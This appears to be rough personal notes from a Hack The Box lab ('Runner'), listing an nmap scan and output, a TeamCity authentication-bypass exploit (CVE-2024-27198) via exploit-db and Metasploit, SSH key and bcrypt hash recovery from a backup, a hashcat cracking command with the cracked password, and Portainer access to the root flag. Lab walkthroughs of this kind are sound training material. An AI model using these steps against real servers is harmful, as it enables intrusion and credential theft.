1.Nmap

sudo nmap -sC -sV --vv -p- -Pn 10.129.230.247 -T5

PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http        syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open  nagios-nsca syn-ack ttl 63 Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:54
Completed NSE at 15:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:54
Completed NSE at 15:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:54
Completed NSE at 15:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.95 seconds
           Raw packets sent: 67054 (2.950MB) | Rcvd: 64985 (2.600MB)

2. Port 80

3. Port 8000

“Not Found”

4. subdomain

knockpy runner.htb does not work

somehow the subdomain is teamcity

5. Exploit

https://www.exploit-db.com/exploits/51884

city_adminzVYA:Main_password!!**

Works

metasploit also has a script: multi/http/jetbrains_teamcity_rce_cve_2024_27198

got shell

there is an admin:

john matthew there is a backup option on teamcity. can see backup on metasploit shell

6. Revshell

Looking through the backup /data/teamcity_server/datadir/backup/config/projects/AllProjects/pluginData/ssh_keys

Id_rsa found

This is from johns account

also found using chmod +777 * users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT

trying to crack with hashcat hashcat -m 3200 matthew.bcrypt /usr/share/wordlists/rockyou.txt `$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123`

7. SSH

ssh -i id_rsa john@runner.htb

there is a matthew home folder There are docker folder on /opt

/portainer can see

found portainer-administration.runner.htb on hosts

found login page

8. Portainer

matthew password that was cracked works

TCreate an image showing the root flag Running it 9163f0462ba574a250be002c2d609e1a

Names

Sam Pate Melvin Platje sales@runnet.htb